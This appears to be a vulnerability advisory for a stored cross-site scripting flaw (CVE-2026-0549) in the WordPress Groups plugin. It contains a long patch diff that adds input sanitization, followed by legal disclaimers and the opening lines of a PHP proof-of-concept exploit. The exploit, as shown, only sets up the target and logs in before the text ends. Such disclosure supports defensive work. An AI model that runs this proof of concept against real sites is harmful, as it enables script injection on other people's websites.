-						if ( in_array( self::NOT_RESTRICTED, $_GET[Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY] ) ) {
+						if ( in_array( self::NOT_RESTRICTED, $restricting ) ) {
 							$include_unrestricted = true;
 						}

 						$capabilities = array();
-						foreach ( $_GET[Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY] as $capability ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+						foreach ( $restricting as $capability ) {
 							if ( Groups_Capability::read_by_capability( $capability ) ) {
 								$capabilities[] = $capability;
 							}
@@ -294,20 +287,20 @@
 								// meta_query does not handle a conjunction
 								// on the same meta field correctly
 								// (at least not up to WordPress 3.7.1)
-// 								$query->query_vars['meta_query'] = array (
-// 									'relation' => 'OR',
-// 									array (
-// 										'key' => Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY,
-// 										'value' => $capabilities,
-// 										'compare' => 'IN'
-// 									),
-// 									array (
-// 										'key' => Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY,
-// 										'compare' => 'NOT EXISTS'
-// 									)
-// 								);
-								// we'll limit it to show just unrestricted entries
-								// until the above is solved
+								// $query->query_vars['meta_query'] = array (
+								// 	'relation' => 'OR',
+								// 	array (
+								// 		'key' => Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY,
+								// 		'value' => $capabilities,
+								// 		'compare' => 'IN'
+								// 	),
+								// 	array (
+								// 		'key' => Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY,
+								// 		'compare' => 'NOT EXISTS'
+								// 	)
+								// );
+								// we limit it to show just unrestricted entries
+								// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 								$query->query_vars['meta_query'] = array (
 									array (
 										'key'     => Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY,
@@ -315,6 +308,7 @@
 									)
 								);
 							} else {
+								// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 								$query->query_vars['meta_query'] = array (
 									array (
 										'key'     => Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY,
@@ -324,6 +318,7 @@
 								);
 							}
 						} else if ( $include_unrestricted ) {
+							// phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 							$query->query_vars['meta_query'] = array (
 								array (
 									'key'     => Groups_Post_Access_Legacy::POSTMETA_PREFIX . Groups_Post_Access_Legacy::READ_POST_CAPABILITY,
--- a/groups/legacy/admin/groups-admin-options-legacy.php
+++ b/groups/legacy/admin/groups-admin-options-legacy.php
@@ -38,12 +38,12 @@
 	//
 	// handle legacy options after form submission
 	//
-	if ( isset( $_POST['submit'] ) && !$legacy_switched ) {
-		if ( wp_verify_nonce( $_POST[GROUPS_ADMIN_OPTIONS_NONCE], 'admin' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+	if ( groups_sanitize_post( 'submit' ) && !$legacy_switched ) {
+		if ( groups_verify_post_nonce( GROUPS_ADMIN_OPTIONS_NONCE, 'admin' ) ) {
 			$valid_read_caps = array( Groups_Post_Access_Legacy::READ_POST_CAPABILITY );
-			if ( !empty( $_POST[GROUPS_READ_POST_CAPABILITIES] ) && is_array( $_POST[GROUPS_READ_POST_CAPABILITIES] ) ) {
-				$read_caps = $_POST[GROUPS_READ_POST_CAPABILITIES]; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-				foreach( $read_caps as $read_cap ) {
+			$read_caps = groups_sanitize_post( GROUPS_READ_POST_CAPABILITIES );
+			if ( is_array( $read_caps ) ) {
+				foreach ( $read_caps as $read_cap ) {
 					$read_cap = sanitize_text_field( $read_cap );
 					if ( $valid_cap = Groups_Capability::read( $read_cap ) ) {
 						if ( !in_array( $valid_cap->capability, $valid_read_caps ) ) {
@@ -70,7 +70,7 @@
 	$applicable_read_caps = Groups_Options::get_option( Groups_Post_Access_Legacy::READ_POST_CAPABILITIES, array( Groups_Post_Access_Legacy::READ_POST_CAPABILITY ) );
 	echo '<div class="select-capability-container" style="width:62%;">';
 	printf( '<select class="select capability" name="%s" multiple="multiple">', esc_attr( GROUPS_READ_POST_CAPABILITIES . '[]' ) );
-	foreach( $capabilities as $capability ) {
+	foreach ( $capabilities as $capability ) {
 		$selected = in_array( $capability->capability, $applicable_read_caps ) ? ' selected="selected" ' : '';
 		if ( $capability->capability == Groups_Post_Access_Legacy::READ_POST_CAPABILITY ) {
 			$selected .= ' disabled="disabled" ';
--- a/groups/lib/access/class-groups-access-meta-boxes.php
+++ b/groups/lib/access/class-groups-access-meta-boxes.php
@@ -237,7 +237,7 @@
 				esc_attr( $read_help )
 			);
 			$output .= '<option value=""></option>';
-			foreach( $groups as $group ) {
+			foreach ( $groups as $group ) {
 				$output .= sprintf( '<option value="%s" %s>', esc_attr( $group->group_id ), in_array( $group->group_id, $groups_read ) ? ' selected="selected" ' : '' );
 				$output .= $group->name ? stripslashes( wp_filter_nohtml_kses( $group->name ) ) : '';
 				$output .= '</option>';
@@ -335,8 +335,8 @@
 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {

 					if ( self::user_can_restrict() ) {
-						if ( isset( $_POST[self::NONCE] ) && wp_verify_nonce( $_POST[self::NONCE], self::SET_GROUPS ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-							$post_type = isset( $_POST['post_type'] ) ? sanitize_text_field( $_POST['post_type'] ) : null;
+						if ( groups_verify_post_nonce( self::NONCE, self::SET_GROUPS ) ) {
+							$post_type = groups_sanitize_post( 'post_type' );
 							if ( $post_type !== null ) {

 								// See http://codex.wordpress.org/Function_Reference/current_user_can 20130119 WP 3.5
@@ -362,14 +362,17 @@
 									$include = self::get_user_can_restrict_group_ids();
 									$groups  = Groups_Group::get_groups( array( 'order_by' => 'name', 'order' => 'ASC', 'include' => $include ) );
 									$user_group_ids_deep = array();
-									foreach( $groups as $group ) {
+									foreach ( $groups as $group ) {
 										$user_group_ids_deep[] = $group->group_id;
 									}
 									$group_ids = array();
-									$submitted_group_ids = !empty( $_POST[self::GROUPS_READ] ) && is_array( $_POST[self::GROUPS_READ] ) ? $_POST[self::GROUPS_READ] : array(); // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+									$submitted_group_ids = groups_sanitize_post( self::GROUPS_READ ) ?? array();
+									if ( !is_array( $submitted_group_ids ) ) {
+										$submitted_group_ids = array();
+									}

 									// assign requested groups and create and assign new groups if allowed
-									foreach( $submitted_group_ids as $group_id ) {
+									foreach ( $submitted_group_ids as $group_id ) {
 										if ( is_numeric( $group_id ) ) {
 											if ( in_array( $group_id, $user_group_ids_deep ) ) {
 												$group_ids[] = $group_id;
@@ -455,7 +458,7 @@

 				// $output .= '<div style="padding:0 1em;margin:1em 0;border:1px solid #ccc;border-radius:4px;">';
 				// $output .= '<ul>';
-				// foreach( $groups as $group ) {
+				// foreach ( $groups as $group ) {
 				// 		$checked = in_array( $group->group_id, $groups_read ) ? ' checked="checked" ' : '';
 				// 		$output .= '<li>';
 				// 		$output .= '<label>';
@@ -479,7 +482,7 @@
 					Groups_User::current_user_can( GROUPS_ADMINISTER_GROUPS ) ? ' ' . esc_attr__( 'You can create a new group by indicating the group's name.', 'groups' ) : ''
 				);
 				$output .= '<option value=""></option>';
-				foreach( $groups as $group ) {
+				foreach ( $groups as $group ) {
 					$output .= sprintf( '<option value="%s" %s>', esc_attr( $group->group_id ), in_array( $group->group_id, $groups_read ) ? ' selected="selected" ' : '' );
 					$output .= $group->name ? stripslashes( wp_filter_nohtml_kses( $group->name ) ) : '';
 					$output .= '</option>';
@@ -540,7 +543,7 @@
 					$groups  = Groups_Group::get_groups( array( 'order_by' => 'name', 'order' => 'ASC', 'include' => $include ) );
 					$group_ids = array();
 					if ( !empty( $attachment[self::GROUPS_READ] ) && is_array( $attachment[self::GROUPS_READ] ) ) {
-						foreach( $groups as $group ) {
+						foreach ( $groups as $group ) {
 							if ( in_array( $group->group_id, $attachment[self::GROUPS_READ] ) ) {
 								$group_ids[] = $group->group_id;
 							}
@@ -582,7 +585,7 @@
 		if ( $user_id === null ) {
 			$user_id = get_current_user_id();
 		}
-		$user = new Groups_User( $user_id);
+		$user = new Groups_User( $user_id );
 		return $user->can( GROUPS_RESTRICT_ACCESS );
 	}

@@ -613,7 +616,7 @@
 				$group_ids = $user->get_group_ids_deep();
 			}
 			if ( !empty( $group_ids ) && is_array( $group_ids ) ) {
-				$group_ids = array_map (array( 'Groups_Utility','id'), $group_ids );
+				$group_ids = array_map( array( 'Groups_Utility','id' ), $group_ids );
 			}
 		}
 		return apply_filters( 'groups_access_meta_boxes_user_can_restrict_group_ids', $group_ids, $user_id );
--- a/groups/lib/access/class-groups-access-shortcodes.php
+++ b/groups/lib/access/class-groups-access-shortcodes.php
@@ -143,7 +143,7 @@
 			$capability = $options['capability'];
 			$capabilities = array_map( 'trim', explode( ',', $capability ) );
 			$show_content = false;
-			foreach( $capabilities as $capability ) {
+			foreach ( $capabilities as $capability ) {
 				if ( $groups_user->can( $capability ) ) {
 					$show_content = true;
 					break;
@@ -178,7 +178,7 @@
 			$capability = $options['capability'];
 			$capabilities = array_map( 'trim', explode( ',', $capability ) );
 			$show_content = true;
-			foreach( $capabilities as $capability ) {
+			foreach ( $capabilities as $capability ) {
 				if ( $groups_user->can( $capability ) ) {
 					$show_content = false;
 					break;
--- a/groups/lib/access/class-groups-comment-access.php
+++ b/groups/lib/access/class-groups-comment-access.php
@@ -91,7 +91,7 @@
 		}

 		$_comments = array();
-		foreach( $comments as $comment ) {
+		foreach ( $comments as $comment ) {
 			if ( isset( $comment->comment_post_ID ) ) {
 				if ( Groups_Post_Access::user_can_read_post( $comment->comment_post_ID ) ) {
 					$_comments[] = $comment;
@@ -169,7 +169,7 @@

 		$handles_post_types = Groups_Post_Access::get_handles_post_types();
 		$post_types = array();
-		foreach( $handles_post_types as $post_type => $handles ) {
+		foreach ( $handles_post_types as $post_type => $handles ) {
 			if ( $handles ) {
 				$post_types[] = $post_type;
 			}
--- a/groups/lib/access/class-groups-post-access.php
+++ b/groups/lib/access/class-groups-post-access.php
@@ -132,7 +132,7 @@
 		// REST API
 		$post_types = self::get_handles_post_types();
 		if ( !empty( $post_types ) ) {
-			foreach( $post_types as $post_type => $handles ) {
+			foreach ( $post_types as $post_type => $handles ) {
 				if ( $handles ) {
 					add_filter( "rest_prepare_{$post_type}", array( __CLASS__, 'rest_prepare_post' ), 10, 3 );
 				}
@@ -296,7 +296,7 @@
 					// if there is at least one post type we handle, we need to filter
 					$handled = 0;
 					$handles_post_types = self::get_handles_post_types();
-					foreach( $post_types as $post_type ) {
+					foreach ( $post_types as $post_type ) {
 						if ( !isset( $handles_post_types[$post_type] ) || $handles_post_types[$post_type] ) {
 							$handled++;
 						}
@@ -318,7 +318,7 @@

 			$handles_post_types = Groups_Post_Access::get_handles_post_types();
 			$post_types = array();
-			foreach( $handles_post_types as $post_type => $handles ) {
+			foreach ( $handles_post_types as $post_type => $handles ) {
 				if ( $handles ) {
 					$post_types[] = $post_type;
 				}
@@ -729,7 +729,7 @@
 				}
 				$group_ids = self::get_read_group_ids( $post_id );
 				if ( $group_ids ) {
-					foreach( $groups_read as $group_id ) {
+					foreach ( $groups_read as $group_id ) {
 						$result = in_array( $group_id, $group_ids );
 						if ( !$result ) {
 							break;
@@ -766,12 +766,12 @@
 			$groups_read = array_map( array( 'Groups_Utility', 'id' ), $groups_read );
 			$current_groups_read = self::get_read_group_ids( $post_id );
 			$current_groups_read = array_map( array( 'Groups_Utility', 'id' ), $current_groups_read );
-			foreach( $groups_read as $group_id ) {
+			foreach ( $groups_read as $group_id ) {
 				if ( !in_array( $group_id, $current_groups_read ) ) {
 					add_post_meta( $post_id, self::POSTMETA_PREFIX . self::READ, $group_id );
 				}
 			}
-			foreach( $current_groups_read as $group_id ) {
+			foreach ( $current_groups_read as $group_id ) {
 				if ( !in_array( $group_id, $groups_read ) ) {
 					delete_post_meta( $post_id, self::POSTMETA_PREFIX . self::READ, $group_id );
 				}
@@ -804,7 +804,7 @@
 			}
 			$groups_read = array_map( array( 'Groups_Utility', 'id' ), $groups_read );
 			if ( !empty( $groups_read ) ) {
-				foreach( $groups_read as $group_id ) {
+				foreach ( $groups_read as $group_id ) {
 					$result = delete_post_meta( $post_id, self::POSTMETA_PREFIX . self::READ, $group_id );
 				}
 			} else {
@@ -952,7 +952,7 @@
 			if ( isset( $type_counts[$sub_group] ) ) {
 				$counts = $type_counts[$sub_group];
 			} else {
-				foreach( $counts as $post_status => $count ) {
+				foreach ( $counts as $post_status => $count ) {
 					$query_args = array(
 						'fields'           => 'ids',
 						'post_type'        => $type,
@@ -1049,7 +1049,7 @@
 		$result = array();
 		$post_types_option = Groups_Options::get_option( self::POST_TYPES, array() );
 		$post_types = get_post_types( array(), 'objects' );
-		foreach( $post_types as $post_type => $object ) {
+		foreach ( $post_types as $post_type => $object ) {
 			$public              = isset( $object->public ) ? $object->public : false;
 			$exclude_from_search = isset( $object->exclude_from_search ) ? $object->exclude_from_search : false;
 			$publicly_queryable  = isset( $object->publicly_queryable ) ? $object->publicly_queryable : false;
@@ -1073,7 +1073,7 @@
 	public static function set_handles_post_types( $post_types ) {
 		$post_types_option = Groups_Options::get_option( self::POST_TYPES, array() );
 		$available_post_types = get_post_types();
-		foreach( $available_post_types as $post_type ) {
+		foreach ( $available_post_types as $post_type ) {
 			$post_types_option[$post_type]['add_meta_box'] = isset( $post_types[$post_type] ) && $post_types[$post_type];
 		}
 		Groups_Options::update_option( self::POST_TYPES, $post_types_option );
--- a/groups/lib/admin/class-groups-admin-notice.php
+++ b/groups/lib/admin/class-groups-admin-notice.php
@@ -78,10 +78,10 @@
 		if ( class_exists( 'Groups_User' ) && method_exists( 'Groups_User', 'current_user_can' ) ) {
 			if ( Groups_User::current_user_can( 'activate_plugins' ) ) {
 				$user_id = get_current_user_id();
-				if ( !empty( $_GET[self::HIDE_REVIEW_NOTICE] ) && wp_verify_nonce( $_GET['groups_notice'], 'hide' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				if ( !empty( groups_sanitize_get( self::HIDE_REVIEW_NOTICE ) ) && groups_verify_get_nonce( 'groups_notice', 'hide' ) ) {
 					add_user_meta( $user_id, self::HIDE_REVIEW_NOTICE, true );
 				}
-				if ( !empty( $_GET[self::REMIND_LATER_NOTICE] ) && wp_verify_nonce( $_GET['groups_notice'], 'later' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				if ( !empty( groups_sanitize_get( self::REMIND_LATER_NOTICE ) ) && groups_verify_get_nonce( 'groups_notice', 'later' ) ) {
 					update_user_meta( $user_id, self::REMIND_LATER_NOTICE, time() + self::REMIND_LAPSE );
 				}
 				$hide_review_notice = get_user_meta( $user_id, self::HIDE_REVIEW_NOTICE, true );
@@ -117,7 +117,7 @@
 	 */
 	public static function admin_notices() {

-		$current_url = ( is_ssl() ? 'https://' : 'http://' ) . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+		$current_url = groups_get_current_url();
 		$hide_url    = wp_nonce_url( add_query_arg( self::HIDE_REVIEW_NOTICE, true, $current_url ), 'hide', 'groups_notice' );
 		$remind_url  = wp_nonce_url( add_query_arg( self::REMIND_LATER_NOTICE, true, $current_url ), 'later', 'groups_notice' );

--- a/groups/lib/admin/class-groups-admin-post-columns.php
+++ b/groups/lib/admin/class-groups-admin-post-columns.php
@@ -128,7 +128,7 @@
 				if ( count( $groups_read ) > 0 ) {
 					$groups = Groups_Group::get_groups( array( 'order_by' => 'name', 'order' => 'ASC', 'include' => $groups_read ) );
 					if ( ( count( $groups ) > 0 ) ) {
-						foreach( $groups as $group ) {
+						foreach ( $groups as $group ) {
 							$entries[] = $group->name ? stripslashes( wp_strip_all_tags( $group->name ) ) : '';
 						}
 					}
@@ -143,7 +143,7 @@
 					if ( count( $taxonomies ) > 0 ) {
 						$terms = wp_get_object_terms( $post_id, $taxonomies );
 						if ( !( $terms instanceof WP_Error ) ) {
-							foreach( $terms as $term ) {
+							foreach ( $terms as $term ) {
 								if ( in_array( $term->taxonomy, $taxonomies ) ) {
 									$term_group_ids = Groups_Restrict_Categories::get_term_read_groups( $term->term_id );
 									if ( count( $term_group_ids ) > 0 ) {
@@ -162,7 +162,7 @@
 											}
 											$term_taxonomy_title = !empty( $term->name ) ? $term->name : '';
 											$term_taxonomy_title.= !empty( $taxonomy_label ) ? ' ' . $taxonomy_label : '';
-											foreach( $term_group_ids as $group_id ) {
+											foreach ( $term_group_ids as $group_id ) {
 												if ( $group = Groups_Group::read( $group_id ) ) {
 													$entries[] = sprintf(
 														'%s <a href="%s" title="%s" style="cursor: help">%s</a>',
@@ -183,7 +183,7 @@
 				if ( !empty( $entries ) ) {
 					sort( $entries );
 					$output .= '<ul>';
-					foreach( $entries as $entry ) {
+					foreach ( $entries as $entry ) {
 						$output .= '<li>';
 						$output .= $entry; // entries are already escaped for output
 						$output .= '</li>';
--- a/groups/lib/admin/class-groups-admin-posts.php
+++ b/groups/lib/admin/class-groups-admin-posts.php
@@ -87,7 +87,7 @@
 		global $pagenow;

 		if ( $pagenow == 'edit.php' ) {
-			$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 			$post_types_option = Groups_Options::get_option( Groups_Post_Access::POST_TYPES, array() );
 			if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
 				Groups_UIE::enqueue( 'select' );
@@ -104,7 +104,7 @@
 		global $pagenow;

 		if ( $pagenow == 'edit.php' ) {
-			$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+			$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 			$post_types_option = Groups_Options::get_option( Groups_Post_Access::POST_TYPES, array() );
 			if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
 				echo '<style type="text/css">';
@@ -132,13 +132,13 @@
 	 */
 	public static function restrict_manage_posts() {

-		global $pagenow, $wpdb;
+		global $pagenow;

 		if ( is_admin() ) {

 			if ( $pagenow == 'edit.php' ) { // check that we're on the right screen

-				$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 				$post_types_option = Groups_Options::get_option( Groups_Post_Access::POST_TYPES, array() );

 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
@@ -154,21 +154,18 @@
 						esc_attr__( 'Groups …', 'groups' )
 					);

-					$previous_selected = array();
-					if ( !empty( $_GET[Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ] ) ) {
-						$previous_selected = $_GET[Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ]; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-						if ( !is_array( $previous_selected ) ) {
-							$previous_selected = array();
-						}
+					$read = groups_sanitize_get( Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ );
+					if ( !is_array( $read ) ) {
+						$read = array();
 					}
 					$output .= sprintf(
 						'<option value="%s" %s >%s</option>', self::NOT_RESTRICTED,
-						esc_attr( in_array( self::NOT_RESTRICTED, $previous_selected ) ? ' selected="selected" ' : '' ),
+						esc_attr( in_array( self::NOT_RESTRICTED, $read ) ? ' selected="selected" ' : '' ),
 						esc_attr__( '(none)', 'groups' )
 					);
 					$output .= sprintf(
 						'<option value="%s" %s >%s</option>', self::RESTRICTED,
-						esc_attr( in_array( self::RESTRICTED, $previous_selected ) ? ' selected="selected" ' : '' ),
+						esc_attr( in_array( self::RESTRICTED, $read ) ? ' selected="selected" ' : '' ),
 						esc_attr__( '(any)', 'groups' )
 					);

@@ -181,8 +178,8 @@
 							)
 						)
 					);
-					foreach( $groups as $group ) {
-						$selected = in_array( $group->group_id, $previous_selected ) ? ' selected="selected" ' : '';
+					foreach ( $groups as $group ) {
+						$selected = in_array( $group->group_id, $read ) ? ' selected="selected" ' : '';
 						$output .= sprintf(
 							'<option value="%s" %s >%s</option>',
 							esc_attr( $group->group_id ),
@@ -201,7 +198,7 @@
 						method_exists( 'Groups_Restrict_Categories', 'get_term_read_groups' ) // >= Groups Restrict Categories 2.0.0, the method isn't used here but it wouldn't make any sense to query unless we're >= 2.0.0
 					) {
 						$output .= sprintf( '<label class="groups-read-terms" title="%s">', esc_attr__( 'Also look for groups related to terms', 'groups' ) );
-						$output .= sprintf( '<input type="checkbox" name="groups-read-terms" value="1" %s />', empty( $_GET['groups-read-terms'] ) ? '' : ' checked="checked" ' );
+						$output .= sprintf( '<input type="checkbox" name="groups-read-terms" value="1" %s />', empty( groups_sanitize_get( 'groups-read-terms' ) ) ? '' : ' checked="checked" ' );
 						$output .= esc_html__( 'Terms', 'groups' );
 						$output .= '</label>';
 					}
@@ -221,12 +218,12 @@
 	 */
 	public static function bulk_edit_custom_box( $column_name, $post_type ) {

-		global $pagenow, $wpdb;
+		global $pagenow;

 		if ( $column_name == self::GROUPS_READ ) {
 			if ( $pagenow == 'edit.php' ) { // check that we're on the right screen

-				$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 				$post_types_option = Groups_Options::get_option( Groups_Post_Access::POST_TYPES, array() );

 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {
@@ -248,7 +245,6 @@
 					$output .= '</select>';
 					$output .= '</label>';

-					$user    = new Groups_User( get_current_user_id() );
 					$include = Groups_Access_Meta_Boxes::get_user_can_restrict_group_ids( get_current_user_id() );
 					$groups  = Groups_Group::get_groups( array( 'order_by' => 'name', 'order' => 'ASC', 'include' => $include ) );

@@ -260,7 +256,7 @@
 						esc_attr__( 'Choose access restriction groups …', 'groups' )
 					);

-					foreach( $groups as $group ) {
+					foreach ( $groups as $group ) {
 						$output .= sprintf(
 							'<option value="%s" >%s</option>',
 							esc_attr( $group->group_id ),
@@ -293,21 +289,21 @@
 	 * @param int $post_id
 	 */
 	public static function save_post( $post_id ) {
-		if ( isset( $_REQUEST['groups-action'] ) ) {
-			if ( wp_verify_nonce( $_REQUEST['bulk-post-group-nonce'], 'post-group' ) ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
-				$field = Groups_Post_Access::POSTMETA_PREFIX . 'bulk-' . Groups_Post_Access::READ;
-				if ( !empty( $_REQUEST[$field] ) && is_array( $_REQUEST[$field] ) ) {
+		if ( isset( $_REQUEST['groups-action'] ) ) { // phpcs:ignore WordPress.Security.NonceVerification.Recommended
+			if ( groups_verify_request_nonce( 'bulk-post-group-nonce', 'post-group' ) ) {
+				$read = groups_sanitize_request( Groups_Post_Access::POSTMETA_PREFIX . 'bulk-' . Groups_Post_Access::READ );
+				if ( !empty( $read ) && is_array( $read ) ) {
 					if ( Groups_Access_Meta_Boxes::user_can_restrict() ) {
 						$include = Groups_Access_Meta_Boxes::get_user_can_restrict_group_ids();
 						$groups  = Groups_Group::get_groups( array( 'order_by' => 'name', 'order' => 'ASC', 'include' => $include ) );
 						$group_ids = array();
-						foreach( $groups as $group ) {
+						foreach ( $groups as $group ) {
 							$group_ids[] = $group->group_id;
 						}
-						foreach( $_REQUEST[$field] as $group_id ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+						foreach ( $read as $group_id ) {
 							if ( $group = Groups_Group::read( $group_id ) ) {
 								if ( in_array( $group->group_id, $group_ids ) ) {
-									switch( $_REQUEST['groups-action'] ) {
+									switch ( groups_sanitize_request( 'groups-action' ) ) {
 										case 'add-group' :
 											Groups_Post_Access::create( array(
 												'post_id' => $post_id,
@@ -328,8 +324,7 @@
 	}

 	/**
-	 * Query modifier to take the selected access restriction groups into
-	 * account.
+	 * Query modifier to take the selected access restriction groups into account.
 	 *
 	 * @deprecated not used
 	 *
@@ -343,22 +338,25 @@

 			if ( $pagenow == 'edit.php' ) { // check that we're on the right screen

-				$post_type = isset( $_GET['post_type'] ) ? $_GET['post_type'] : 'post'; // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+				$post_type = groups_sanitize_get( 'post_type' ) ?? 'post';
 				$post_types_option = Groups_Options::get_option( Groups_Post_Access::POST_TYPES, array() );

 				if ( !isset( $post_types_option[$post_type]['add_meta_box'] ) || $post_types_option[$post_type]['add_meta_box'] ) {

-					if ( !empty( $_GET[Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ] ) &&
-						is_array( $_GET[Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ] )
-					) {
+					$read = groups_sanitize_get( Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ );
+					if ( !is_array( $read ) ) {
+						$read = array();
+					}
+
+					if ( count( $read ) > 0 ) {

 						$include_unrestricted = false;
-						if ( in_array( self::NOT_RESTRICTED, $_GET[Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ] ) ) {
+						if ( in_array( self::NOT_RESTRICTED, $read ) ) {
 							$include_unrestricted = true;
 						}

 						$group_ids = array();
-						foreach ( $_GET[Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ] as $group_id ) { // phpcs:ignore WordPress.Security.ValidatedSanitizedInput.InputNotSanitized
+						foreach ( $read as $group_id ) {
 							if ( Groups_Group::read( $group_id ) ) {
 								$group_ids[] = $group_id;
 							}
@@ -383,14 +381,14 @@
 								// );
 								// we'll limit it to show just unrestricted entries
 								// until the above is solved
-								$query->query_vars['meta_query'] = array (
+								$query->query_vars['meta_query'] = array ( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 									array (
 										'key'     => Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ,
 										'compare' => 'NOT EXISTS'
 									)
 								);
 							} else {
-								$query->query_vars['meta_query'] = array (
+								$query->query_vars['meta_query'] = array ( // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 									array (
 										'key'     => Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ,
 										'value'   => $group_ids,
@@ -399,7 +397,7 @@
 								);
 							}
 						} else if ( $include_unrestricted ) {
-							$query->query_vars['meta_query'] = array (
+							$query->query_vars['meta_query'] = array ( //phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
 								array (
 									'key'     => Groups_Post_Access::POSTMETA_PREFIX . Groups_Post_Access::READ,
 									'compare' => 'NOT EXISTS'
@@ -434,7 +432,7 @@

 			$filter_terms = false;
 			if (
-				!empty( $_GET['groups-read-terms'] ) &&
+				!empty( $_GET['groups-read-terms'] ) && // phpcs:ignore WordPress.Security.NonceVerification.Recommended
 				function_exists( 'get_term_meta' ) && // >= WordPress 4.4.0 as we query the termmeta table
 				class_exists( 'Groups_Restrict_Categories' ) &&
 				method_exists( 'Groups_Restrict_Categories', 'get_controlled_taxonomies' ) &&
@@ -443,7 

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0549 - Groups <= 3.10.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'groups_group_info' Shortcode

<?php
/**
 * Proof of Concept for CVE-2026-0549
 * Requires: Contributor-level WordPress account credentials
 * Target: WordPress site with Groups plugin <= 3.10.0
 */

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Initialize cURL session
$ch = curl_init();

// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$login_data = array(
    'log' => $username,
    'pwd' => $password,
